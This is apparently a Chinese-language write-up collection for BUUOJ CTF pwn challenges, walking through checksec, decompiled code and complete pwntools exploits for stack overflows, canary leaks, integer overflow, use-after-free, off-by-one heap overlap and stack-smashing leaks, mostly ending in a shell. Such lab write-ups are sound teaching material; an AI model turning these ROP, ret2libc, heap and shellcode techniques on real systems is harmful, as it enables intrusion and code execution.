1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { int v3; char s; unsigned __int64 v6; v6 = __readfsqword(0x28 u); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); memset (&s, 0 , 0x80 uLL); while ( 1 ) { menu(); v3 = READ(); switch ( v3 ) { case 2 : puts (&s); break ; case 3 : return 0LL ; case 1 : read(0 , &s, 0x100 uLL); break ; default : PUTS("invalid choice" ); break ; } PUTS((const char *)&unk_400AE7); } }
24行的read
有一个短小的溢出,从这里我们使用19行的puts
可以泄露canary
的值,为之后更长的rop-chain做准备
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *from LibcSearcher import *context.log_level = "debug" elf = ELF("babystack" ) p = remote("node3.buuoj.cn" ,"28311" ) def store (text ): p.sendlineafter(">>" ,"1" ) p.sendline(text) def Print (): p.sendlineafter(">>" ,"2" ) pop_rdi_ret = 0x0400a93 puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] main = 0x0400908 if __name__ == '__main__' : store('a' *0x88 ) Print() p.recvuntil('a\n' ) canary=u64(p.recv(7 ).rjust(8 ,'\x00' )) log.success("canary =>0x%x" ,canary) payload = 'a' *0x88 +p64(canary)+'b' *8 payload += p64(pop_rdi_ret)+p64(puts_got) payload += p64(puts_plt)+p64(main) store(payload) p.sendlineafter(">>" ,"3" ) p.recv() puts_addr = u64(p.recv(6 ).ljust(8 ,'\x00' )) libc = LibcSearcher("puts" ,puts_addr) base = puts_addr-libc.dump("puts" ) sys_addr = libc.dump("system" )+base binsh = libc.dump("str_bin_sh" )+base log.success("puts real =>0x%x" ,puts_addr) log.success("libc base =>0x%x" ,base) log.success("system addr=>0x%x" ,sys_addr) log.success("/bin/sh =>0x%x" ,binsh) payload = 'a' *0x88 +p64(canary)+'b' *8 payload += p64(pop_rdi_ret)+p64(binsh) payload += p64(sys_addr) store(payload) p.sendlineafter(">>" ,"3" ) p.interactive()
others_shellcode
连上就有
pwn1_sctf_2016
1.checsec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
1 2 3 4 5 int __cdecl main (int argc, const char **argv, const char **envp) { vuln(); return 0 ; }
vuln
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int vuln () { const char *v0; char s; char v3; char v4; char v5; char v6; char v7; printf ("Tell me something about yourself: " ); fgets(&s, 32 , edata); std ::string ::operator=(&input, &s); std ::allocator<char >::allocator(&v5); std ::string ::string (&v4, "you" , &v5); std ::allocator<char >::allocator(&v7); std ::string ::string (&v6, "I" , &v7); replace((std ::string *)&v3); std ::string ::operator=(&input, &v3, &v6, &v4); std ::string ::~string ((std ::string *)&v3); std ::string ::~string ((std ::string *)&v6); std ::allocator<char >::~allocator(&v7); std ::string ::~string ((std ::string *)&v4); std ::allocator<char >::~allocator(&v5); v0 = (const char *)std ::string ::c_str((std ::string *)&input); strcpy (&s, v0); return printf ("So, %s\n" , &s); }
string
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 LOAD:08048154 00000013 C /lib/ld-linux.so.2 ............. ........ . .......... LOAD:080488F4 00000007 C strcpy LOAD:080488FB 00000006 C stdin LOAD:08048901 00000007 C printf LOAD:08048908 00000006 C fgets LOAD:0804890E 0000000D C __cxa_atexit LOAD:0804891B 00000007 C system LOAD:08048922 00000012 C __libc_start_main LOAD:08048934 00000008 C GCC_3.0 LOAD:0804893C 0000000A C GLIBC_2.0 LOAD:08048946 0000000C C GLIBC_2.1.3 LOAD:08048952 0000000E C GLIBCXX_3.4.5 LOAD:08048960 0000000B C CXXABI_1.3 LOAD:0804896B 0000000C C GLIBCXX_3.4 .rodata:080497F0 0000000D C cat flag.txt .rodata:08049800 00000023 C Tell me something about yourself: .rodata:08049829 00000008 C So, %s\n .rodata:08049834 0000002A C basic_string::_S_construct null not valid .eh_frame:0804996F 00000005 C ;*2$\" .eh_frame:0804999D 00000005 C zPLR
看上去不会溢出,但是把’I’替换成’you’,使字符串变多,栈溢出
3.EXP
1 2 3 4 5 6 7 8 9 from pwn import *p = remote("node3.buuoj.cn" ,25541 ) cat_flag = 0x08048F0D payload = 'I' *20 + 'a' *4 + p64(cat_flag) p.sendline(payload) p.interactive()
pwn2_sctf_2016
1.checksec
1 2 3 4 5 6 [*] '/home/o Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
vuln
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int vuln () { char nptr; int v2; printf ("How many bytes do you want me to read? " ); get_n((int )&nptr, 4u ); v2 = atoi(&nptr); if ( v2 > 32 ) return printf ("No! That size (%d) is too large!\n" , v2); printf ("Ok, sounds good. Give me %u bytes of data!\n" , v2); get_n((int )&nptr, v2); return printf ("You said: %s\n" , &nptr); }
get_n
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl get_n (int a1, unsigned int a2) { int v2; int result; char v4; unsigned int v5; v5 = 0 ; while ( 1 ) { v4 = getchar(); if ( !v4 || v4 == 10 || v5 >= a2 ) break ; v2 = v5++; *(_BYTE *)(v2 + a1) = v4; } result = a1 + v5; *(_BYTE *)(a1 + v5) = 0 ; return result; }
这里就存在一个atoi,输入-1时会转化为非零型整数,造成整数溢出
整数了过后,就可以写更多的值,从而getshell
溢出要覆盖的量可以从gdb调试出来
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *from LibcSearcher import *context.log_level = "debug" elf = ELF("./pwn2_sctf_2016" ) libc = ELF("./libc-2.23.so" ) p = remote("node3.buuoj.cn" ,29632 ) start_addr = 0x080483d0 output_addr = 0x080486F8 vuln_addr = 0x0804852F printf_plt = elf.plt['printf' ] printf_got = elf.got['printf' ] payload = 'a' *48 payload += p32(printf_plt) + p32(start_addr) payload += p32(output_addr) + p32(elf.got["__libc_start_main" ]) p.recvuntil("?" ) p.sendline("-1" ) p.recv() p.sendline(flat(payload)) p.recvuntil("You said: " ) p.recvuntil("You said: " ) main_real = u32(p.recv(4 )) libcbase = main_real - libc.sym["__libc_start_main" ] sys_addr = libcbase + libc.sym['system' ] binsh = libcbase + libc.search("/bin/sh\x00" ).next () payload = 'a' *48 + p32(sys_addr)+p32(output_addr) + p32(binsh) p.recvuntil("?" ) p.sendline("-1" ) p.recvuntil("!" ) p.sendline(payload) p.interactive()
pwnable_hack_note
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
基本功能如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def add (size, content) : p.sendlineafter ("Your choice :" , "1" ) p.recvuntil ("Note size :" ) p.sendline (str(size)) p.recvuntil ("Content :" ) p.sendline (content) def delete (index) : p.sendlineafter ("Your choice :" , "2" ) p.recvuntil ("Index :" ) p.sendline (str(index)) def show (index) : p.sendlineafter ("Your choice :" , "3" ) p.recvuntil ("Index :" ) p.sendline (str(index))
delete
1 2 3 4 5 6 if ( ptr[v1] ) { free (*((void **)ptr[v1] + 1 )); free (ptr[v1]); puts ("Success" ); }
指针没有归零
3.GDB
0x1 先申请一个chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 pwndbg> heap 0x804b000 FASTBIN { prev_size = 0, size = 17, fd = 0x804862b, bk = 0x804b018, fd_nextsize = 0x0, bk_nextsize = 0x11 } 0x804b010 FASTBIN { prev_size = 0, size = 17, fd = 0x61616161, bk = 0xa, fd_nextsize = 0x0, bk_nextsize = 0x20fe1 } 0x804b020 PREV_INUSE { prev_size = 0, size = 135137, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x804b000: 0x00000000 0x00000011 0x0804862b 0x0804b018 0x804b010: 0x00000000 0x00000011 0x61616161 0x0000000a 0x804b020: 0x00000000 0x00020fe1 0x00000000 0x00000000 0x804b030: 0x00000000 0x00000000 0x00000000 0x00000000
0x2 查看0x0804862b
和0x0804b018
0x0804862b
1 2 3 4 int __cdecl sub_804862B (int a1) { return puts (*(const char **)(a1 + 4 )); }
0x0804b018
该地址应该是绑定的分配堆的地址,到时候修补上就行
4.思路
uaf,将0x0804862b
改为一个我们能泄露的函数
计算system
的相对位置
改0x0804862b
为system
,并传入sh\x00\x00
调用原来的输出函数,输出的对象是刚才填入的sh\x00\x00
伪造过后
1 2 3 4 5 6 0x860b000 : 0x00000000 0x00000011 0x0804862b 0x0860b030 0x860b010 : 0x00000000 0x00000019 0x0860b038 0x61616161 0x860b020 : 0x61616161 0x61616161 0x00000000 0x00000011 0x860b030 : 0x0804862b 0x0804a018 0x00000000 0x00000019 0x860b040 : 0x00000000 0x61616161 0x61616161 0x61616161 0x860b050 : 0x00000000 0x00020fb1 0x00000000 0x00000000
5.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *import structp = 0 def add (size, content ): p.sendlineafter("Your choice :" , "1" ) p.recvuntil("Note size :" ) p.sendline(str (size)) p.recvuntil("Content :" ) p.sendline(content) def delete (index ): p.sendlineafter("Your choice :" , "2" ) p.recvuntil("Index :" ) p.sendline(str (index)) def show (index ): p.sendlineafter("Your choice :" , "3" ) p.recvuntil("Index :" ) p.sendline(str (index)) def pwn (ip,port,mode,debug ): elf = ELF("./hacknote" ) libc = ELF("/home/joe1sn/libc/32/libc-2.23.so" ) global p if debug == 1 : context.log_level = "debug" else : pass if mode == 0 : p = process("./hacknote" ) else : p = remote(ip,port) add(0x10 ,'a' *0x10 ) add(0x10 ,'a' *0x10 ) delete(1 ) delete(0 ) fun_addr=0x0804862B add(8 ,p32(fun_addr)+p32(elf.got["free" ])) show(1 ) leak=u32(p.recv(4 )) libc_base = leak-libc.sym["free" ] sys_addr = libc_base+libc.sym["system" ] success('leak addr: ' +hex (leak)) success('libc base: ' +hex (libc_base)) success('system addr ' +hex (sys_addr)) delete(2 ) add(8 ,p32(sys_addr)+'||sh' ) show(1 ) p.interactive() if __name__ == '__main__' : pwn("node3.buuoj.cn" ,28478 ,1 ,0 )
pwnable_start
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)
2.IDA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ; =============== S U B R O U T I N E ======================================= public _start _start proc near ; DATA XREF: LOAD:08048018↑o push esp push offset _exit xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx push ':FTC' push ' eht' push ' tra' push 'ts s' push 2774654Ch mov ecx, esp ; addr mov dl, 20 ; len mov bl, 1 ; fd mov al, 4 ; syscall(write) int 80h ; LINUX - sys_write xor ebx, ebx ; ebx清零 mov dl, 60 ; len mov al, 3 ; syscall(read) int 80h ; LINUX - add esp, 14h retn .text:0804809C _start endp ; sp-analysis failed
1.向addr
空间写入"Let’s start the CTF:";
2.调用read
函数,这里有个栈溢出,溢出后返回addr
;
3.返回后向addr
写入shellcode
;
4.最后溢出
+抬栈
+shellcode
。
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context.log_level = "debug" p = process('./start' ) p = remote("node3.buuoj.cn" ,27809 ) payload = 'a' *20 + p32(0x08048087 ) p.recvuntil(':' ) p.send(payload) print (payload)leak=u32(p.recv(4 )); print (leak)shellcode= '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' payload= 'a' *20 + p32(leak+20 )+shellcode p.send(payload) p.interactive()
pwnable_orw
1.checksec
1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
2.IDA
main
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { orw_seccomp(); printf ("Give my your shellcode:" ); read(0 , &shellcode, 0xC8 u); ((void (*)(void ))shellcode)(); return 0 ; }
直接传入shellcode
过后,执行shellcode
3.EXP
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,26098 ) shellcode = shellcraft.open ('/flag' ) shellcode += shellcraft.read('eax' ,'esp' ,100 ) shellcode += shellcraft.write(1 ,'esp' ,100 ) shellcode = asm(shellcode) p.recvuntil("Give my your shellcode:" ) p.sendline(shellcode) p.interactive()
roarctf_2019_easy_pwn
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
四个功能:增删查改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def add (size ): p.recvuntil('choice: ' ) p.sendline('1' ) p.recvuntil('size:' ) p.sendline(str (size)) def edit (index,size,data ): p.sendlineafter(": " ,'2' ) p.sendlineafter(": " ,str (index)) p.sendlineafter(": " ,str (size)) p.recvuntil('content:' ) p.send(data) def free (index ): p.sendlineafter(": " ,'3' ) p.recvuntil('index:' ) p.sendline(str (index)) def show (index ): p.sendlineafter(": " ,'4' ) p.sendlineafter(": " ,str (index))
edit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if ( v2 >= 0 && v2 <= 15 ){ v2 = *((_DWORD *)&unk_202040 + 4 * v2); if ( v2 == 1 ) { printf ("size: " ); v2 = read_input(1 ); v4 = vuln(*((_DWORD *)&unk_202044 + 4 * v3), v2); if ( v2 > 0 ) { printf ("content: " , (unsigned int )v2); v2 = sub_D92(qword_202048[2 * v3], v4); } } }
off by one
漏洞,导致我们个已覆盖下一个堆块的size
域,从而实现chunk overlapping
3.GDB
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #code add(0x18)#0 add(0x18)#1 add(0x88)#2 add(0x88)#3 add(0x28)#4 add(0x28)#5 add(0x68)#6 edit(0,0x18+10,'a'*0x18+'\xb1')#off by one #1.szie=0x18 2.size=0x98 #1.size+2.size=chunk_add.size=0xb0 # 0x10+8 like this is more conviente to use # not to add sth like p64(0) gdb.attach(p) #GDB pwndbg> x/32gx 0x55a813ab9000 0x55a813ab9000: 0x0000000000000000 0x0000000000000021 0x55a813ab9010: 0x6161616161616161 0x6161616161616161 0x55a813ab9020: 0x6161616161616161 0x00000000000000b1 这里已经被修改为'\xb1' 0x55a813ab9030: 0x0000000000000000 0x0000000000000000 0x55a813ab9040: 0x0000000000000000 0x0000000000000091 0x55a813ab9050: 0x0000000000000000 0x0000000000000000 0x55a813ab9060: 0x0000000000000000 0x0000000000000000 >这样我们free(1),就会得到`libc base`了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #code free(1) add(0xa8)#1 #gdb.attach(p) edit(1,0x20,'a'*0x18+p64(0x91))#repair #gdb.attach(p) free(2) show(1) #leak gdb.attach(p) #GDB pwndbg> bin fastbins ......... unsortedbin all: 0x55d9d3909040 —▸ 0x7ff8d0bbab78 (main_arena+88) ◂— 0x55d9d3909040 .......... pwndbg> x/32gx 0x55d9d3909000 0x55d9d3909000: 0x0000000000000000 0x0000000000000021 0x55d9d3909010: 0x6161616161616161 0x6161616161616161 0x55d9d3909020: 0x6161616161616161 0x00000000000000b1 0x55d9d3909030: 0x6161616161616161 0x6161616161616161 0x55d9d3909040: 0x6161616161616161 0x0000000000000091 0x55d9d3909050: 0x00007ff8d0bbab78 0x00007ff8d0bbab78 0x55d9d3909060: 0x0000000000000000 0x0000000000000000 0x55d9d3909070: 0x0000000000000000 0x0000000000000000 >再输出chunk1的内容就可以输出`0x00007ff8d0bbab78`,从而泄露`libc base` 最后输出 [+] libc base=>0x7ff8d07f6000 [+] malloc hook=>0x7ff8d0bbab10 [+] realloc hook=>0x7ff8d087a6c0 [+] one gadget=>0x7ff8d083b26a
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 这里我们用的one_gadget是 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 所以需要满足条件[rsp+0x30] == NULL,这就需要realloc来对栈上的东西进行微调 #code edit(4,0x32,'a'*0x28+'\xa1') #off by one #gdb.attach(p) free(5) free(6) add(0x98)#2 edit(2,0x38,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23)) #new 2 take the 5's place and hijack 6 to malloc hook #gdb.attach(p) add(0x68)#5 add(0x68)#6 in malloc hook edit(6,27,'a'*(0x13-8)+p64(one_gadget)+p64(realloc)) gdb.attach(p) >修改realloc_hook为onegadget,修改malloc_hook为realloc+偏移地址 #GDB >断点过后走几个单步 pwndbg> x/16gx $rsp+0x30 0x7ffeb950d680: 0x0000000000000000 0x00007f5695fa773b 0x7ffeb950d690: 0x00007ffeb950d8db 0x00007f56961d99a0 0x7ffeb950d6a0: 0x0000000000000000 0x0000000000000000 0x7ffeb950d6b0: 0x0000000000000000 0x00007f5695fa773b 0x7ffeb950d6c0: 0x0000000000000000 0x00007ffeb950dd58 0x7ffeb950d6d0: 0x0000000000000000 0x0000000000000000 0x7ffeb950d6e0: 0x0000000000000000 0x00007ffeb950d8f0 0x7ffeb950d6f0: 0x0000000000000064 0x0000004000000000 > 调用了过后就达成了
4.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from pwn import *context.log_level = "debug" elf = ELF("./roarctf_2019_easy_pwn" ) libc=ELF('/home/joe1sn/libc/64/libc-2.23.so' ) p = process("./roarctf_2019_easy_pwn" ) def add (size ): p.recvuntil('choice: ' ) p.sendline('1' ) p.recvuntil('size:' ) p.sendline(str (size)) def edit (index,size,data ): p.sendlineafter(": " ,'2' ) p.sendlineafter(": " ,str (index)) p.sendlineafter(": " ,str (size)) p.recvuntil('content:' ) p.send(data) def free (index ): p.sendlineafter(": " ,'3' ) p.recvuntil('index:' ) p.sendline(str (index)) def show (index ): p.sendlineafter(": " ,'4' ) p.sendlineafter(": " ,str (index)) if __name__ == '__main__' : add(0x18 ) add(0x18 ) add(0x88 ) add(0x88 ) add(0x28 ) add(0x28 ) add(0x68 ) edit(0 ,0x18 +10 ,'a' *0x18 +'\xb1' ) free(1 ) add(0xa8 ) edit(1 ,0x20 ,'a' *0x18 +p64(0x91 )) free(2 ) show(1 ) p.recvuntil('content: ' ) libc_base=u64(p.recvuntil("\x7f\x00\x00" )[-8 :])-0x3c4b78 print (hex (libc_base)) malloc_hook=libc_base+libc.sym['__malloc_hook' ] realloc = libc_base + libc.symbols['__libc_realloc' ] one_gadget=libc_base+0x4526a log.success("libc base=>0x%x" ,libc_base) log.success("malloc hook=>0x%x" ,malloc_hook) log.success("realloc hook=>0x%x" ,realloc) log.success("one gadget=>0x%x" ,one_gadget) ''' add(0x28)#4 add(0x28)#5 add(0x68)#6 ''' edit(4 ,0x32 ,'a' *0x28 +'\xa1' ) free(5 ) free(6 ) add(0x98 ) edit(2 ,0x38 ,'a' *0x28 +p64(0x71 )+p64(malloc_hook-0x23 )) add(0x68 ) add(0x68 ) edit(6 ,27 ,'a' *(0x13 -8 )+p64(one_gadget)+p64(realloc)) gdb.attach(p) add(0x10 ) p.interactive()
rip
1.checksec
1 2 3 4 5 6 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
2.IDA
main
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { char s; puts ("please input" ); gets(&s, argv); puts (&s); puts ("ok,bye!!!" ); return 0 ; }
string
1 2 3 4 5 6 7 8 9 10 11 12 LOAD:00000000004002A8 0000001C C /lib64/ld-linux-x86-64.so.2 LOAD:00000000004003B9 0000000A C libc.so.6 LOAD:00000000004003C3 00000005 C gets LOAD:00000000004003C8 00000005 C puts LOAD:00000000004003CD 00000007 C system LOAD:00000000004003D4 00000012 C __libc_start_main LOAD:00000000004003E6 0000000C C GLIBC_2.2.5 LOAD:00000000004003F2 0000000F C __gmon_start__ .rodata:0000000000402004 0000000D C please input .rodata:0000000000402011 0000000A C ok,bye !!! .rodata:000000000040201B 00000008 C /bin/sh .eh_frame:00000000004020DF 00000006 C ;*3$\"
gets函数漏洞,有/bin/sh
3.EXP
1 2 3 4 5 6 7 from pwn import *p = remote("node3.buuoj.cn" ,27035 ) binsh_addr = 0x401186 payload = '\x00' *0xf + p64(binsh_addr) p.sendline(payload) p.interactive()
warmup_csaw_2016
1.checksec
1 2 3 4 5 6 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char s; char v5; write(1 , "-Warm Up-\n" , 0xA uLL); write(1 , "WOW:" , 4uLL ); sprintf (&s, "%p\n" , sub_40060D); write(1 , &s, 9uLL ); write(1 , ">" , 1uLL ); return gets(&v5, ">" ); }
string
1 2 3 4 5 6 7 8 9 10 11 12 13 LOAD:0000000000400238 0000001C C /lib64/ld-linux-x86-64.so.2 LOAD:0000000000400361 0000000A C libc.so.6 LOAD:000000000040036B 00000005 C gets LOAD:0000000000400370 00000008 C sprintf LOAD:0000000000400378 00000007 C system LOAD:000000000040037F 00000012 C __libc_start_main LOAD:0000000000400391 00000006 C write LOAD:0000000000400397 0000000F C __gmon_start__ LOAD:00000000004003A6 0000000C C GLIBC_2.2.5 .rodata:0000000000400734 0000000D C cat flag.txt .rodata:0000000000400741 0000000B C -Warm Up-\n .rodata:000000000040074C 00000005 C WOW: .eh_frame:00000000004007FF 00000006 C ;*3$\"
gets溢出,system函数和cat flag字符串
3.EXP
1 2 3 4 5 6 7 8 9 10 from pwn import *p = remote("node3.buuoj.cn" ,28792 ) cat_flag = 0x40060d payload = '\x00' *(0x40 +8 ) + p64(cat_flag) p.sendlineafter(">" ,payload) print p.recv()p.interactive()
wdb2018_guess
一道思路清奇的题
checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
反汇编
可以看出
**1.**flag文件被读取到了栈上面
**2.**主程序创建(fork
)了三个线程
**3.**在这个线程里面,程序将我们的输入和站上面的flag进行比较
**4.**我们输入的时候调用了gets
,导致栈溢出
GDB调试
我们溢出0x128就可以覆盖 _libc_arg[0] 的值,从而泄露数据
知识点
程序开启了canary保护,这里有个之前我忽略的点 canary的检查报错
源码如下
1 2 3 4 5 6 7 8 9 10 11 void __attribute__ ((noreturn)) __stack_chk_fail (void ){ __fortify_fail ("stack smashing detected" ); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { while (1 ) __libc_message (2 , "*** %s ***: %s terminated\n" , msg, __libc_argv[0 ] ?: "<unknown>" ); }
程序输出的时候使用了 __libc_argv[0] 来打印程序的名称,所以就可以从这里泄露一些信息
这里拓展一下
argc :命令的条数
argv[] :输入的每条命令
1 2 3 4 5 6 7 8 9 10 11 #include <iostream> using std::cout;using std::cin;using std::endl;int main (int argc, char *argv[]) { for (int i = 0 ; i < argc; ++i) cout<<argv[i]<<endl; return 0 ; }
输出
那么argv[0]=程序的名称(也是第0条指令)
_libc_environ
在libc中保存了一个函数叫_environ,存的是当前进程的环境变量
如何从libc地址得到栈地址 这里面就详细写了这个函数
攻击步骤
1. 泄露libc
2. 泄露_libc_arg的表头 environ,从而找到flag在站上面的地址
3. 覆盖 **libc_arg[0]**为flag在栈上面的地址,最后通过 stack_smashing 泄露出flag
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *name = "guess" elf = ELF(name) libc = ELF("libc-2.23.so" ) sh = 0 def main (ip,port,debug,mode ): global sh if debug==0 : context.log_level = "debug" else : pass if mode==0 : sh = process(name) else : sh = remote(ip,port) payload = "A" *0x128 payload += p64(elf.got["read" ]) sh.sendlineafter("Please type your guessing flag\n" ,payload) sh.recvuntil('stack smashing detected ***: ' ) libc_base = u64(sh.recv(6 ).ljust(8 ,'\x00' ))-libc.sym["read" ] system = libc_base + libc.sym["system" ] environ = libc_base+libc.sym['__environ' ] info("libc base -> " +hex (libc_base)) info("libc_system -> " +hex (system)) info("__libc_environ -> " +hex (environ)) payload = "A" *0x128 payload += p64(environ) sh.sendlineafter("Please type your guessing flag\n" ,payload) en_list = u64(sh.recvuntil("\x7f" )[-6 :].ljust(8 ,'\x00' )) info("environ -> " +hex (en_list)) payload="A" *0x128 payload += p64(en_list-0x168 ) sh.sendlineafter("Please type your guessing flag\n" ,payload) sh.recvuntil("*** stack smashing detected ***: " ) print sh.recvline() if __name__ == '__main__' : main("node3.buuoj.cn" ,"26263" ,1 ,1 )
xdctf2015_pwn200
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import *context.log_level = "debug" elf = ELF("./bof" ) p = remote("node3.buuoj.cn" ,27377 ) write_got = elf.got["write" ] write_plt = elf.plt["write" ] main = elf.sym["main" ] payload = 'a' *(0x6c +4 ) payload += p32(write_plt)+p32(main) payload += p32(1 )+p32(write_got)+p32(4 ) p.recvuntil("Welcome to XDCTF2015~!\n" ) p.sendline(payload) leak_addr = u32(p.recvuntil('\xf7' )[-4 :]) libc = LibcSearcher("write" ,leak_addr) base = leak_addr-libc.dump("write" ) sys_addr = base+libc.dump("system" ) binsh = base+libc.dump("str_bin_sh" ) log.success("libc base=>%x" ,base) log.success("system addr=>%x" ,sys_addr) log.success("binsh=>%x" ,binsh) p.recvuntil("Welcome to XDCTF2015~!\n" ) payload = 'a' *(0x6c +4 ) payload += p32(sys_addr)+p32(main) payload += p32(binsh) p.sendline(payload) p.interactive()
铁人三项(第五赛区)_2018_rop
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
vulnerable_function
1 2 3 4 5 6 ssize_t vulnerable_function () { char buf; return read(0 , &buf, 0x100 u); }
溢出+libc leak
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,26402 ) elf = ELF("./2018_rop" ) libc = ELF("./libc-2.27.so" ) read_plt = elf.plt["read" ] read_got = elf.got["read" ] write_plt = elf.plt["write" ] write_got = elf.got["write" ] main_addr = elf.sym["main" ] payload = "a" *(0x88 +4 ) payload += p32(write_plt)+p32(main_addr) payload += p32(1 )+p32(write_got)+p32(4 ) p.sendline(payload) leak_addr = u32(p.recv(4 )) libc_base = leak_addr - libc.sym["write" ] sys_addr = libc_base + libc.sym["system" ] binsh = libc_base + libc.search('/bin/sh' ).next () log.info("libc base=>%x" ,libc_base) log.info("system addr=>%x" ,sys_addr) log.info("/bin/sh addr=>%x" ,binsh) payload = 'a' *(0x88 +4 ) payload += p32(sys_addr)+p32(main_addr) payload += p32(binsh) p.sendline(payload) p.interactive()